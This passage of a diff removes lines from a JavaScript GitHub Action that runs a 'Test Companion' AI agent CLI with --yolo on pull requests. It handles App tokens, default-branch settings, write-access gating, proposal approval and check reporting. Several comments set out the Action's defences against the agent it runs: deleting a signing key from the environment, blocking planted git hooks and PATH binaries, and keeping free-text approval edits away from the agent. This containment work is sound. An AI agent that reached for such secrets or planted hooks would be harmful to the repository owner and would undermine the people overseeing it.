`gh` call, so a caller that cares WHY it failed can look. */ -function ghRaw(args, body) { - return spawnSync("gh", args, { - encoding: "utf8", - input: body ? JSON.stringify(body) : undefined, - env: { ...env, GH_TOKEN: env.GH_TOKEN }, - }) -} - -/** `gh api`, returning parsed JSON or null. Never throws — reporting must not break a run. */ -function gh(args, body) { - const r = ghRaw(args, body) - if (r.status !== 0) { - // A missing permission is a normal, documented outcome (FR-4): skip that - // write, name it, carry on. It is never a reason to fail the run. - warn(`GitHub API call failed (${args[1] ?? args[0]}): ${(r.stderr ?? "").trim().split("\n")[0]}`) - return null - } - try { - return JSON.parse(r.stdout) - } catch { - return null - } -} - -/** - * Sign in as the Test Companion GitHub App, when it is installed — Release 4. - * - * Buys exactly three things: the comment and the tick come from "Test - * Companion" rather than github-actions[bot], the workflow needs no - * permissions block because the installation token carries the App's own, and - * an admin can roll the setup out across an organisation at once. - * - * It does not run anything (Decision 0). The run still happens on the - * customer's machine with their BrowserStack credentials. - * - * Every failure here falls back to the workflow token rather than stopping. A - * repository without the App installed is the normal case, not an error, and - * FR-4 says the run finishes either way. - */ -function appInstallationToken() { - const creds = appCredentials(env) - if (!creds) return undefined - // B3 (review of #3101). `creds` holds its own copy, so the key can leave - // the environment the moment it has been read. Everything this process - // starts from here on inherits that environment — including the agent, - // which runs with --yolo and chooses its own commands — and a signing key - // is not something to leave lying where they can read it. - // - // childEnvFor strips it for the agent already; this closes the same hole - // for everything else, and does not rely on remembering to list it. - delete env.TC_ACTION_APP_PRIVATE_KEY - - let jwt - try { - jwt = signJwt(creds) - } catch (e) { - // A malformed key is worth saying out loud: someone configured this and - // it silently did nothing. - warn(`Could not sign the GitHub App token (${e?.message ?? e}); using the workflow token instead.`) - return undefined - } - - // The JWT authenticates the APP; only the installation token can touch a - // repository. Passed per-call rather than exported, so it never lands in - // the environment at all. - const asApp = (args) => spawnSync("gh", args, { encoding: "utf8", env: { ...env, GH_TOKEN: jwt } }) - - const found = asApp(["api", `repos/${REPO}/installation`]) - if (found.status !== 0) { - notice("Test Companion: the GitHub App is not installed on this repository; using the workflow token.") - return undefined - } - let installationId - try { - installationId = JSON.parse(found.stdout)?.id - } catch { - return undefined - } - if (!installationId) return undefined - - // FR-4: "for that repo only". A token minted with no body carries every - // permission the installation holds across every repository it covers — a - // run in one repository would hold write access to all of an organisation's. - const scope = installationTokenRequest(REPO) - if (!scope) { - warn(`Could not read "${REPO}" as owner/name, so no scoped App token was requested.`) - return undefined - } - - const mint = (body) => - spawnSync("gh", ["api", `app/installations/${installationId}/access_tokens`, "--method", "POST", "--input", "-"], { - encoding: "utf8", - input: JSON.stringify(body), - env: { ...env, GH_TOKEN: jwt }, - }) - - // An installation granted fewer permissions than we ask for refuses the - // whole request, so the second attempt drops the permission list and keeps - // the repository scope — which is the half FR-4 actually requires. Better a - // token scoped to one repository than a fall back to the workflow token. - let minted = mint(scope) - if (minted.status !== 0) { - minted = mint({ repositories: scope.repositories }) - } - if (minted.status !== 0) { - warn("Could not mint a GitHub App token; using the workflow token instead.") - return undefined - } - - let token - try { - token = JSON.parse(minted.stdout)?.token - } catch { - return undefined - } - if (!token) return undefined - - // FR-3: credentials are masked in the log. Before the token is used for - // anything, so there is no window where it could be echoed unmasked. - console.log(`::add-mask::${token}`) - return token -} - -/** - * The settings file as it stands on the DEFAULT BRANCH — FR-7. - * - * Not the checked-out tree. Read from the branch under test, a pull request can - * rewrite the rules for its own run and be obeyed — switch itself from preview - * to live, delete its own spending limit, point its writes elsewhere. Reading - * from the default branch means an edit counts only once someone merges it. - * - * Returns the local path the content was written to, or undefined when there is - * no settings file there. Fails SAFE: a fetch that errors for any reason is - * treated as "no settings", which is a clean skip (FR-13) rather than a run - * governed by whatever happens to be checked out. - * - * `--raw` because this is a YAML file, not the JSON envelope gh() parses. - */ -function fetchSettings(path, ref) { - const r = spawnSync( - "gh", - ["api", `repos/${REPO}/contents/${path}?ref=${encodeURIComponent(ref)}`, "-H", "Accept: application/vnd.github.raw"], - { - encoding: "utf8", - env: { ...env, GH_TOKEN: env.GH_TOKEN }, - }, - ) - if (r.status !== 0) { - const first = (r.stderr ?? "").trim().split("\n")[0] - // A 404 is the ordinary "this repo has no settings file yet" case (FR-13). - // Anything else is worth saying out loud, because the run is about to skip. - if (!/404|Not Found/i.test(first)) warn(`Could not read ${path} from ${ref}: ${first}`) - return undefined - } - const local = join(REPORT_DIR, "testcompanion-pipeline.default-branch.yml") - writeFileSync(local, r.stdout) - return local -} - -/** - * Whether `login` may ask Test Companion for a run — FR-33. - * - * admin, maintain and write can; triage and read cannot. Any failure to get a - * clear answer counts as "no". - */ -function hasWriteAccess(login) { - if (!login) return false - const res = gh(["api", `repos/${REPO}/collaborators/${login}/permission`]) - return ["admin", "maintain", "write"].includes(res?.permission) -} - -/** - * Is `login` on `team` in this repository's organisation? — FR-33. - * - * Tri-state on purpose: undefined means we could not find out (no token for - * the organisation, API down, rate limited), which mayAsk treats as a no. - */ -function isOnTeam(login, team) { - if (!login || !team) return undefined - const org = REPO.split("/")[0] - const res = gh(["api", `orgs/${org}/teams/${team}/memberships/${login}`]) - if (!res) return undefined - return res.state === "active" -} - -/** - * Run git in the checkout. Never throws: every caller here treats a git - * failure as "we could not save the work", which is reported, not fatal. - */ -/** - * Resolved once, at module load — BEFORE the agent runs, so a `git` planted on - * PATH later cannot be the one we find. Absent means we do not commit at all. - */ -const GIT_BIN = trustedGitPath({ - exists: (p) => existsSync(p), - canWrite: (p) => { - try { - accessSync(p, constants.W_OK) - return true - } catch { - return false - } - }, -}) - -function git(args, extraEnv = {}) { - // A near-empty environment, and no hooks. These run AFTER the agent, which - // has had --yolo write access to the tree: a planted .git/hooks/pre-commit - // would otherwise be executed by our own `git commit` with the App's - // private key and the customer's credentials in its environment. - if (!GIT_BIN) return { ok: false, out: "", raw: "", err: "no trusted git binary" } - const r = spawnSync(GIT_BIN, [...GIT_SAFE_ARGS, ...args], { - encoding: "utf8", - env: { ...gitEnvFrom(env), ...extraEnv }, - }) - // `raw` is deliberate. `git status --porcelain` puts a SPACE in the first - // column for an unstaged modification, and trimming the whole output eats - // it on the first line — which cost run 40845669513 ten passing tests. - // Anything parsing columns reads `raw`; everything else wants `out`. - return { ok: r.status === 0, out: (r.stdout ?? "").trim(), raw: r.stdout ?? "", err: (r.stderr ?? "").trim() } -} - -/** - * The repository's default branch, or undefined when we cannot find out. - * Undefined only relaxes the default-branch refusal, so an unanswered call - * never widens anything else. - */ -function defaultBranchName() { - return gh(["api", `repos/${REPO}`])?.default_branch -} - -let cachedEvent -function readEvent() { - // Parsed once. This is called seven times in a run, and the file cannot - // change underneath us — GitHub writes it before the job starts. - if (cachedEvent !== undefined) return cachedEvent - cachedEvent = readEventUncached() - return cachedEvent -} - -function readEventUncached() { - try { - return JSON.parse(readFileSync(env.GITHUB_EVENT_PATH, "utf8")) - } catch { - return {} - } -} - -/** Nothing to do. Report it plainly and let the step pass — FR-3, FR-13. */ -function finishSkipped(reason, detail) { - const human = { - "not-a-pull-request": "That comment was on an issue, not a pull request.", - "not-addressed-to-us": "No @test-companion mention, so nothing was asked of Test Companion.", - "proposal-superseded": "The plan being approved was for an earlier commit, so it was not run.", - "nothing-failed": "Nothing has failed on this commit, so there was no build to look at.", - "comment-edited": "Editing a comment does not start a run.", - fork: "A pull request from a fork does not run with credentials until a maintainer asks for it.", - draft: "Draft pull requests do not start a run on their own. Comment to ask for one.", - "closed-unmerged": "The pull request was closed without merging.", - "build-not-red": "That run did not fail, so there is nothing to explain.", - "own-run": "That was Test Companion's own run; it does not explain itself.", - "unsupported-event": "Test Companion is not bound to this kind of event.", - "unsafe-context": "A value from this event looked like a command-line flag and was refused.", - "no-workflow-named": "A manual run needs a `workflow` input naming the job.", - "no-credentials": "Skipped: BrowserStack credentials are not available to this run.", - "no-binding": "Nothing in testcompanion-pipeline.yml is bound to this event, so there was nothing to run.", - // FR-4: name the permission and the line to add. The commonest cause by - // far is a workflow without `pull-requests: read` — the lookup 403s, the - // head commit is unknown, and the run fails closed. Said plainly here - // because "nothing safe to run against" sends a reader looking at their - // pull request rather than at their permissions block. - "no-pr-head": - "Could not read that pull request, so there is no commit it is safe to run against. " + - "If this workflow has no `pull-requests: read` permission, add it.", - "not-authorized": "Only someone with write access to this repository can ask Test Companion for a run.", - "unmapped-request": "That comment did not name anything Test Companion can do; it was answered in the thread.", - stopped: "Stopped, as asked.", - "not-bound": "That job is not bound to pull request comments in this repository.", - "nothing-to-approve": "Nothing is waiting for approval on this commit.", - "proposal-expired": "That proposal was more than a day old and has been dropped.", - proposed: "Proposed, and waiting for someone to reply go.", - "setup-requested": "Opened a pull request adding the settings file.", - }[reason] - const msg = human ?? `Nothing to do (${reason}).` - notice(`Test Companion: ${msg}`) - // B1 (review of #3101). The "in progress" check goes up before the CLI - // runs so a later `stop` has something to cancel. Skipping out from under - // it left "Test Companion" pending for ever — and `no-binding` is most - // events, so for most repositories that was most runs. - // - // Completing it here rather than posting the check later keeps `stop` - // working. Nothing deliberately leaves a check pending through this - // function: the proposal path posts its own and exits directly. - for (const sha of checksMade.keys()) { - postCheck(OUTCOMES.SKIPPED, { outcome: "Skipped", summary: {}, runUrl: RUN_URL }, sha, [], "completed", msg) - } - addToJobSummary(`## Test Companion\n\n${msg}${detail ? `\n\n\`${detail}\`` : ""}`) - setOutput("outcome", "Skipped") - setOutput("should-fail", "false") - process.exit(0) -} - -/** - * FR-13: no settings file means a clean pass and the file they need. - * - * Checked before anything else that could cost money or time. Left to the CLI - * this is a red build reading `open testcompanion-pipeline.yml: no such file or - * directory` — the person did nothing wrong, and the message names a file they - * have never heard of. - */ -function finishWithStarter(path) { - notice(`Test Companion: no ${path} yet, so there is nothing to run. A starter is on the run summary.`) - addToJobSummary(renderNoPipelineReport(path)) - setOutput("outcome", "Skipped") - setOutput("should-fail", "false") - process.exit(0) -} - -function main() { - // Release 4: act as the App when it is installed, so the comment and the - // tick carry Test Companion's name. Before anything else talks to GitHub. - const appToken = appInstallationToken() - if (appToken) { - env.GH_TOKEN = appToken - notice("Test Companion: acting as the GitHub App.") - } - - // FR-3: a run without credentials does nothing, says so, and passes. This is - // the normal shape of a fork pull request, not an error. - if (!env.BROWSERSTACK_USERNAME || !env.BROWSERSTACK_ACCESS_KEY) { - finishSkipped("no-credentials") - } - - // Before the plan, so a repository with no pipeline file gets the starter - // rather than whatever the planner happens to say about this event. - const configPath = pipelineConfigPath(env.TC_ACTION_CONFIG, env) - // FR-7: from the default branch, never from the branch under test. - // May be undefined — a repository with no settings file is a normal, and - // very common, first run (FR-13). It is NOT an early exit any more: a - // comment asking us to add that file is the one thing worth doing in a - // repository that has none, and the exit used to sit in front of it. - // Nothing below costs money before the settings check further down. - const settingsFile = fetchSettings(configPath, settingsRef(readEvent(), env)) - - // FR-44: before anything else this run does, clear out proposals that ran - // out of time, so none of them leaves a check stuck on "in progress". - if (settingsFile && env.GITHUB_EVENT_NAME === "schedule") sweepExpiredProposals() - - let plan = planRun({ - eventName: env.GITHUB_EVENT_NAME, - payload: readEvent(), - repo: REPO, - sha: env.GITHUB_SHA, - ref: env.GITHUB_REF, - inputs: { - workflow: env.TC_ACTION_WORKFLOW, - preview: env.TC_ACTION_PREVIEW, - "self-workflow-name": env.TC_ACTION_SELF_WORKFLOW, - }, - }) - if (plan.skip) { - // FR-36: closing a pull request without merging stops whatever it started. - if (plan.skip.reason === "closed-unmerged") cancelForClosedPr(readEvent()) - finishSkipped(plan.skip.reason, plan.skip.detail) - } - - // FR-33: only someone who can write to the repository may ask for a run by - // commenting. On a public repository anyone can comment, and a run executes - // an agent with --yolo against the customer's own machine and credentials, - // so this gate is the whole access-control story for the comment trigger. - // - // Fails CLOSED: if the permission lookup itself fails — no token, API down, - // rate limited — the run does not start. An unanswerable "may they?" is a no. - // Keyed on the TRIGGER, not only on a flag the planner sets. A planner change - // that forgets the flag would otherwise delete this gate silently, and the - // failure would be invisible: runs would simply start working for people who - // should not be able to start them. - // A comment names an issue, not a commit. Look the pull request up so the - // run works on ITS head rather than the default branch, and so the check - // lands on that commit. Fails closed on a fork, like every other untrusted - // trigger (review finding, PR #3030). - let pull - if (!plan.context?.sha && plan.context?.pr) { - pull = gh(["api", `repos/${REPO}/pulls/${plan.context.pr}`]) - plan = withPullRequestHead(plan, pull, REPO) - if (plan.skip) finishSkipped(plan.skip, `PR #${plan.context.pr}`) - // Work on the commit that was asked about. The starter checks out the - // default branch for a comment event, since the payload names no ref. - const co = spawnSync("git", ["fetch", "--depth", "1", "origin", plan.context.sha], { stdio: "inherit" }) - if (co.status === 0) { - spawnSync("git", ["checkout", "--detach", "FETCH_HEAD"], { stdio: "inherit" }) - } else { - warn(`Could not fetch ${plan.context.sha}; running against the checked-out tree.`) - } - } - - // FR-37: the ticket this change is for, so the run tests against what the - // ticket asks for and not only what the diff does. The pull request object - // is already in hand for a comment event; for a pull_request event it is on - // the payload. - const prForTicket = pull ?? readEvent().pull_request - const ticket = findTicket({ - title: prForTicket?.title, - branch: plan.context?.branch ?? prForTicket?.head?.ref, - body: prForTicket?.body, - }) - if (ticket && plan.context) plan.context.ticket = ticket - - // Read once, before the access check: FR-33's team narrowing lives in the - // same document as FR-43's approval gate. - const bindingsDoc = settingsFile && plan.event ? readBindings(settingsFile, plan.event, plan.context?.branch) : undefined - const askTeam = bindingsDoc?.settings?.ask_team - - // Only issue_comment. `pull_request_review_comment` was listed here too, - // but route() has no case for it, so such an event skips as - // "unsupported-event" long before this line — and the starter does not - // subscribe to it either. - // Jobs that understand --propose-only and --plan-file. For anything else - // the proposal IS the preview run's report. - const CARRIES_A_PLAN = new Set(["test-pr"]) - // Jobs that cannot run without knowing which build failed. - const NEEDS_A_BUILD = new Set(["rca", "fix", "verdict"]) - const COMMENT_TRIGGERS = new Set(["issue_comment"]) - if (COMMENT_TRIGGERS.has(env.GITHUB_EVENT_NAME) || plan.requiresWriteAccess) { - const who = plan.commenter ?? readEvent().comment?.user?.login - // FR-33: write access is the floor, and the pipeline file may narrow it - // to a team. It may never widen it — see mayAsk. - const allowed = mayAsk({ - hasWriteAccess: hasWriteAccess(who), - askTeam, - inTeam: askTeam ? isOnTeam(who, askTeam) : undefined, - }) - if (!allowed) { - // FR-33 wants a one-line reply, not a line in a log the person who - // asked will never open. - replyOnPr(plan.context?.pr, renderNotAuthorized(who ?? "there", askTeam)) - finishSkipped("not-authorized", who) - } - } - - // FR-34: work out what the comment actually asked for, here, before the CLI - // is spawned — a request we cannot place has to cost nothing. - let proposing = false - let approvalNote = "" - if (plan.event === TC_EVENTS.PR_COMMENT) { - // FR-34: pass what this repository has actually bound, so a job can be - // asked for by name and not only by the phrases written into PHRASES. - const intent = readIntent(plan.context.instructions, { - workflows: (bindingsDoc?.bindings ?? []).filter((b) => b.enabled).map((b) => b.workflow), - }) - - if (intent.kind === INTENT.UNKNOWN) { - replyOnPr(plan.context.pr, renderUnknownRequest()) - finishSkipped("unmapped-request") - } - // Answered before anything starts. Falling through would be the worst - // possible reading of "stop": the person asks for the run to end and a - // new one begins. - if (intent.kind === INTENT.STOP) { - stopRuns(plan, plan.commenter ?? "you") - finishSkipped("stopped") - } - if (intent.kind === INTENT.SETUP) { - openSetupPr(plan, configPath) - finishSkipped("setup-requested") - } - - // A named job narrows what the binding would otherwise choose. The event - // is kept, so the binding still governs result mode and limits — asking - // by comment must not be a way around the repository's own settings. - if (intent.workflow) plan.workflow = intent.workflow - - const bindings = bindingsDoc - const binding = pickBinding(bindings, intent.workflow) - - // FR-34 asks for any BOUND workflow. Saying so now beats a preview run, - // a proposal, a "go", and only then "no binding for pr_comment". - if (intent.workflow && bindings && !binding) { - replyOnPr( - plan.context.pr, - `\`${intent.workflow}\` is not bound to pull request comments in this repository, so nothing ran. Bind it in \`${configPath}\` under \`on: pr_comment\`.`, - ) - finishSkipped("not-bound", intent.workflow) - } - - const comments = flattenPages(gh(["api", `repos/${REPO}/issues/${plan.context.pr}/comments`, "--paginate", "--slurp"])) - const waiting = findProposal(comments, plan.context.sha) - - // An unaddressed comment only ever reaches us as a possible approval. - // With nothing waiting, it is what it looked like: a person talking to - // each other, not to us. - // - // Unless a plan we put up has been left behind by a newer commit. Then - // they were talking to us, they used a word we accept, and telling them - // "no @test-companion mention" is both wrong and unhelpful — the reason - // is sitting in the comment history (FR-44). - if (plan.approvalOnly && !waiting) { - const stale = findSupersededProposal(comments, plan.context.sha) - if (stale) { - replyOnPr( - plan.context.pr, - `That plan was for \`${String(stale.sha).slice(0, 7)}\`, and this branch has moved on since — ` + - `a plan written against code that has changed is not safe to run. ` + - `Ask me again and I will put up a fresh one for \`${String(plan.context.sha).slice(0, 7)}\`.`, - ) - finishSkipped("proposal-superseded") - } - finishSkipped("not-addressed-to-us") - } - const gate = decideGate({ - intent, - approval: binding?.approval, - proposal: waiting, - actor: plan.commenter ?? plan.context.actor, - // Named by the comment when it named one, otherwise whatever the - // binding would run — the gate needs the job that will ACTUALLY run. - workflow: plan.workflow ?? binding?.workflow, - }) - - if (gate.action === GATE.NOTHING_TO_APPROVE) { - replyOnPr( - plan.context.pr, - "There is nothing waiting for approval on this commit. Ask for a job by name and I will propose one.", - ) - finishSkipped("nothing-to-approve") - } - if (gate.action === GATE.EXPIRED) { - // FR-44: dropped after 24 hours. Enforced on the approving side, so a - // stale proposal cannot be approved however long it sits there. - replyOnPr( - plan.context.pr, - "That proposal is more than a day old, so I have dropped it. Ask again and I will put up a fresh one.", - ) - finishSkipped("proposal-expired") - } - - if (gate.approvedProposal) { - // Pin the run to the job that was actually proposed and read. The - // GO intent names no workflow, so without this the CLI resolved one - // from the event alone — whichever binding came first in the file — - // and a `fix` proposal could run something else, live, with --yolo. - if (waiting?.workflow) plan.workflow = waiting.workflow - - // FR-43: the run carries out the approved plan — the proposal as the - // approver left it, edits and all. Written to a file rather than - // squeezed onto a command line: a case list is prose, and --context - // strips the punctuation it is written with. - const replyText = plan.context.instructions - const planFile = join(REPORT_DIR, "approved-plan.md") - writeFileSync(planFile, renderApprovedPlan(waiting?.body, replyText)) - if (CARRIES_A_PLAN.has(plan.workflow)) plan.context.plan_file = planFile - - // And the approving comment's own text stops here. The edits are in - // the plan file now; passing the raw reply as well would put free - // text back on the path to the agent, which is what made the approval - // meaningless in the first place. - delete plan.context.instructions - - // Reported, not refused. Both asking and approving need write access, - // so one person doing both is not an escalation — but edits made at - // approval time were reviewed by nobody but the approver, and on a - // self-approved run by nobody at all. A reviewer should see that. - if (gate.selfApproved) { - approvalNote = hasApproverEdits(replyText) - ? ` Approved by @${plan.commenter}, who also asked for it — and edited the plan while approving, so nobody else reviewed those changes.` - : ` Approved by @${plan.commenter}, who also asked for it.` - notice(`Test Companion:${approvalNote}`) - } - } else { - // FR-44: too big to cover in one go — say so to the run, which then - // covers what matters and lists what it left out. - const size = describeChangeSize(pull) - if (size.large) { - plan.context.focus = `${size.files} files and ${size.lines} changed lines` - } - } - - proposing = gate.action === GATE.PROPOSE - // FR-43: a planning pass has to KNOW it is one. Without this it attempts - // the work, is refused by preview, and reports "Could not run" after - // spending real credits — observed on the first live run. - // Only `test-pr` has --propose-only and --plan-file; sending either to - // any other job is an unknown-flag exit before the run starts. - // - // The gate still works for them, because a proposal run is a PREVIEW - // run and preview is enforced in tool dispatch: it does the work, - // writes nothing, and its report is what the reviewer approves. - if (proposing && CARRIES_A_PLAN.has(plan.workflow)) plan.context.propose_only = "true" - if (gate.preview || intent.preview) plan.preview = true - - // THIS RUNS LAST, and it has to. - // - // `rca`, `fix` and `verdict` need to know WHICH build failed. A - // build_failed trigger is handed the run; a COMMENT is not, so these - // three used to fail on the first comment with "Could not run" — while - // we advertise all three by name. - // - // Last, because the workflow is not final until the approval handling - // above has run: "go" names no job, so the job comes from the proposal - // being approved. With this block higher up, asking for an rca worked - // and APPROVING it did not — the CLI was spawned with no build and - // refused it with `rca requires --context build=`. Live run - // 41048725625. - // - // The newest red run on this commit is what a person means by "the - // failure". Only looked up when the job needs it and the caller has - // not already said. - if (NEEDS_A_BUILD.has(plan.workflow) && !plan.context.build) { - const runs = gh(["api", `repos/${REPO}/actions/runs?head_sha=${plan.context.sha}&per_page=100`]) - const failed = latestFailedRun(runs?.workflow_runs, { - selfRunId: env.GITHUB_RUN_ID, - selfWorkflowName: env.TC_ACTION_SELF_WORKFLOW, - }) - if (!failed) { - // Nothing red is an answer, not an error. - replyOnPr( - plan.context.pr, - `Nothing has failed on \`${String(plan.context.sha).slice(0, 7)}\`, so there is no build for me to look at. Re-run me once something is red, or say what you want tested instead.`, - ) - finishSkipped("nothing-failed", plan.workflow) - } - plan.context.build = failed - notice(`Test Companion: reading the failure from ${failed}`) - } - } - - // FR-13: no settings file means a clean pass and the file they need. Checked - // before anything that costs money or time — the comment handling above - // spends only API calls, and "set up this repo" has to be reachable from here. - if (!settingsFile) { - finishWithStarter(configPath) - } - - // An event-driven run names no job: the pipeline file decides, via --event. - // A manual run names one and carries no event, which is how the CLI is told - // to ignore the bindings entirely. - // A manual run names its job. An event-driven run does NOT: which job an - // event runs is the pipeline file's decision, so the Action passes only - // --event and lets the CLI resolve the binding. Guessing a name here was the - // first live run's failure — it produced `no binding for "pr_opened" - // (workflow "test")` because the repo had bound `generate`, not `test`. - const args = ["workflow", "run"] - if (plan.workflow) args.push(plan.workflow) - if (plan.event) args.push("--event", plan.event) - // One flag per pair. A single joined value is parsed by pflag with - // encoding/csv, where one double quote anywhere — `Fix "Pay now" button` — - // fails the whole flag and the run reports "Could not run". - args.push(...contextArgs(plan.context)) - if (plan.preview) args.push("--preview") - // The fetched copy, not whatever the checkout holds — FR-7. - args.push("--config", settingsFile) - args.push("--json", "--yolo", "--summary-file", SUMMARY_FILE, "--result-file", RESULT_FILE) - - // The run must happen on the commit it is about. On an `issue_comment` - // event GitHub checks out the DEFAULT branch — a live run on 2026-10-27 - // wrote eight tests for a pull request branch into a checkout of the - // default one. The starter workflow cannot be amended once customers have - // merged it, so the Action puts itself on the right commit. - // - // Read-only with respect to the remote, and advisory: a checkout we cannot - // do is reported and the run continues against whatever is here, because a - // proposal built from the diff is still worth having. - // Every arm fails CLOSED, and each is read from the world rather than - // asserted. An earlier draft hard-coded sameRepo on the reasoning that - // plan-run.mjs already skips forks — true today, and exactly the shape - // that goes quietly wrong when the code around it moves. The same - // fail-open bug had already appeared once in this Action, on - // `pull_request_target` with a deleted fork. - // Put the tree on the commit under review, when nothing else already has. - // - // Where a comment names an issue, the block above already fetched the head - // sha and detached onto it. A pull_request event is different: GitHub - // checks out the MERGE commit, and nothing corrects that — so without this - // a synchronize-triggered run reads, and would push, merged content rather - // than the branch. - // - // No --depth. On a repository cloned with fetch-depth 0 a shallow fetch - // makes a COMPLETE clone shallow, taking history away from the agent and - // from tc's dedupe claim. - // - // Advisory: a checkout we cannot do is reported and the run continues - // against whatever is here, because a proposal built from the diff is - // still worth having. shouldPushWork re-checks before anything is pushed. - if ( - plan.context.branch && - plan.context.sha && - needsCheckout({ headSha: git(["rev-parse", "HEAD"]).out, wantSha: plan.context.sha }) - ) { - const fetched = git(["fetch", "origin", plan.context.sha]) - const moved = fetched.ok && git(["checkout", "-B", plan.context.branch, plan.context.sha]).ok - if (moved) notice(`Working on ${plan.context.branch} at ${String(plan.context.sha).slice(0, 7)}.`) - else warn(`Could not check out ${plan.context.branch}; the run sees whatever this job checked out.`) - } - - const saving = shouldPushWork({ - preview: plan.preview, - // From whichever source THIS trigger actually has. A comment names an - // issue, so `pull` was fetched to resolve a head sha; a pull_request - // event carries the head on its own payload and nothing is fetched. - // Reading only `pull` refused every pull_request-triggered push - // (run 40857884973, on a branch in this very repository). - sameRepo: isSameRepo(prForTicket?.head?.repo?.full_name, REPO), - branch: plan.context.branch, - headAuthorEmail: git(["log", "-1", "--format=%ae"]).out, - // The tree is put on the pull request's commit much earlier, where the - // comment's issue number is resolved to a head sha. That fetch is - // ADVISORY — it warns and carries on, so the proposal still gets built - // from the diff — which makes this the check that the advisory step - // actually worked. Pushing from a tree that is not the reviewed commit - // would send the default branch's content to the pull request's branch. - onWantedCommit: !needsCheckout({ headSha: git(["rev-parse", "HEAD"]).out, wantSha: plan.context.sha }), - defaultBranch: defaultBranchName(), - }) - if (plan.context.branch && !plan.preview && !saving.ok) { - notice(`Nothing will be saved to ${plan.context.branch}: ${saving.why}.`) - } - - // FR-35: the handle a later `stop` needs. Posted BEFORE the run, because a - // check written at the end cannot help cancel the run that is writing it — - // which is why `stop` found nothing to stop until now. It also makes FR-48's - // "the check shows while it runs" true for every run rather than only a - // proposal. - const checkSubject = checkSha(plan.context, {}, env.GITHUB_SHA) - if (checkSubject) { - postCheck( - "Running", - { workflow: plan.workflow, outcome: "Running", summary: {}, runUrl: RUN_URL }, - checkSubject, - [], - "in_progress", - plan.preview ? "Planning" : "Running", - ) - } - - notice(`tc ${args.join(" ")}`) - // Both files are written by `tc` itself, and the result file only when the - // run generates cases. Remove any stale copy first so a run that produces - // nothing cannot report an earlier run's work as its own. - for (const f of [SUMMARY_FILE, RESULT_FILE]) { - try { - rmSync(f, { force: true }) - } catch { - // A temp file we cannot remove is not worth failing the run over; the - // sha check on the summary is the backstop. - } - } - // The GitHub token belongs to the Action's own reporting, never to the agent. - // The run executes shell commands the model chooses; anything in this - // environment is readable by them. Stripped rather than trusted, because the - // product only scrubs these on BrowserStack-hosted runs, not a customer's - // own machine (FR-3). - const run = spawnSync("tc", args, { stdio: "inherit", encoding: "utf8", env: childEnvFor(env) }) - const exitCode = run.status ?? 1 - - // The report is absent whenever the process was killed, so treat it as a - // real case rather than assuming it is there. - let summaryText - try { - summaryText = readFileSync(SUMMARY_FILE, "utf8") - } catch { - summaryText = undefined - } - const summary = parseSummary(summaryText) - // Read separately from parseSummary, which builds an object: repeated - // `failed_test:` keys would collapse to the last one. - const failedTests = parseFailedTests(summaryText) - const outcome = resolveOutcome(exitCode, summary) - - // Nothing was bound to this event. Finish the way every other "nothing to - // do" finishes — no check, no comment, green step — rather than reporting a - // run that never happened. The starter subscribes to every trigger, so for - // most repositories most events land here. - if (outcome === OUTCOMES.SKIPPED) { - finishSkipped("no-binding", summary.event) - } - // Absent whenever the run generated nothing, which is most workflows. Its - // presence is what tells the report there is something to point a reader at. - const hasResult = existsSync(RESULT_FILE) - const readResult = () => { - try { - return readFileSync(RESULT_FILE, "utf8") - } catch { - // Best effort, exactly as the CLI treats writing it: a report we - // cannot read back is not worth failing a finished run over. - return undefined - } - } - - // FR-42: a configured write that could not happen is said out loud, naming - // what is missing — a silent skip reads as "there was nothing to write". - const warnings = [] - const testsRepo = bindingsDoc?.settings?.tests_repo - if (testsRepo) { - const probe = gh(["api", `repos/${testsRepo}`]) - const access = describeTestRepoAccess({ testsRepo, thisRepo: REPO, canPush: probe?.permissions?.push }) - if (!access.ok) warnings.push(access.message) - } - - // FR-45: silent unless the settings asked for them. - const extraChecks = renderExtraChecks(summary, { - wcag: bindingsDoc?.settings?.wcag, - visual: bindingsDoc?.settings?.visual, - }) - - // FR-43: the approved work must outlive the runner. Until this existed - // nothing carried it off the machine — the CLI opens a pull request only - // for `automate` and `fix`, so an approved `test-pr` run wrote eight - // passing tests and lost all eight. - const workNote = saveWork(saving, plan) - - const view = { - workflow: plan.workflow ?? summary.workflow, - workNote, - extraChecks, - warnings, - outcome, - summary, - runUrl: RUN_URL, - // FR-2: two runs a week apart on the same pinned version must report the - // same CLI version, which means showing it. - cliVersion: summary.cli_version || env.TC_ACTION_CLI_VERSION, - resultArtifact: hasResult ? RESULT_ARTIFACT : undefined, - // `rca` and `verdict` leave no artefact — their result file holds the - // agent's own closing words, and that IS what was asked for. Without - // this the comment was a table saying "Succeeded" with no answer in it - // (live run 41049398591). ANSWER_JOBS mirrors the CLI's own list in - // cli/pkg/cli/commands/narrative.go; a job missing there writes nothing - // to the file, so a mismatch shows up as an empty answer, never as - // someone else's output. - answer: hasResult && ANSWER_JOBS.has(plan.workflow ?? summary.workflow) ? readResult() : undefined, - failedTests, - } - // FR-43: a held request posts what it WOULD do and ends. The run that - // produced this was a preview run, so nothing has been written. - if (proposing) { - const sha = checkSha(plan.context, summary, env.GITHUB_SHA) - addToJobSummary(renderJobSummary(view)) - // FR-44: say when the change is too big to test in one go, so the - // reviewer can narrow the list before approving rather than after. - const size = describeChangeSize(pull) - const sizeNote = size.large - ? `> **This is a large change** — ${size.files} files and ${size.lines} changed lines. Trim the list below before replying go if you only want part of it covered.\n\n` - : "" - // The plan itself, which the run writes to the result file. Without it - // the proposal is a report header and nothing to review. - let planBody = "" - try { - planBody = readFileSync(RESULT_FILE, "utf8") - } catch { - // No result file means the run produced no plan; renderProposalBody - // says so rather than rendering an empty proposal. - } - replyOnPr( - plan.context.pr, - renderProposal( - renderProposalBody({ summary: renderJobSummary(view), plan: planBody, sizeNote }), - sha, - plan.commenter, - // FR-43: record WHICH job this proposal is for, so approving it - // cannot run a different one. - plan.workflow ?? summary.workflow, - ), - ) - // FR-44: the check shows in progress while the proposal waits. - postCheck(outcome, view, sha, [], "in_progress") - setOutput("outcome", "Proposed") - setOutput("should-fail", "false") - process.exit(0) - } - - addToJobSummary(renderJobSummary(view)) - if (summaryText) setOutput("summary-file", SUMMARY_FILE) - if (hasResult) setOutput("result-file", RESULT_FILE) - setOutput("outcome", outcome) - setOutput("should-fail", String(stepShouldFail(env.TC_ACTION_BUILD_EFFECT, outcome))) - - // FR-28: each failing test on the line it is declared on, so a reviewer sees - // it in the files-changed view instead of having to open the run's logs. - // Empty whenever the reporter printed no locator, which is every mocha run — - // those failures are named in the report instead. - const annotations = buildAnnotations(failedTests) - // FR-45: accessibility may turn the check red, but ONLY when the settings - // say so and only for violations this change introduced. The step's own - 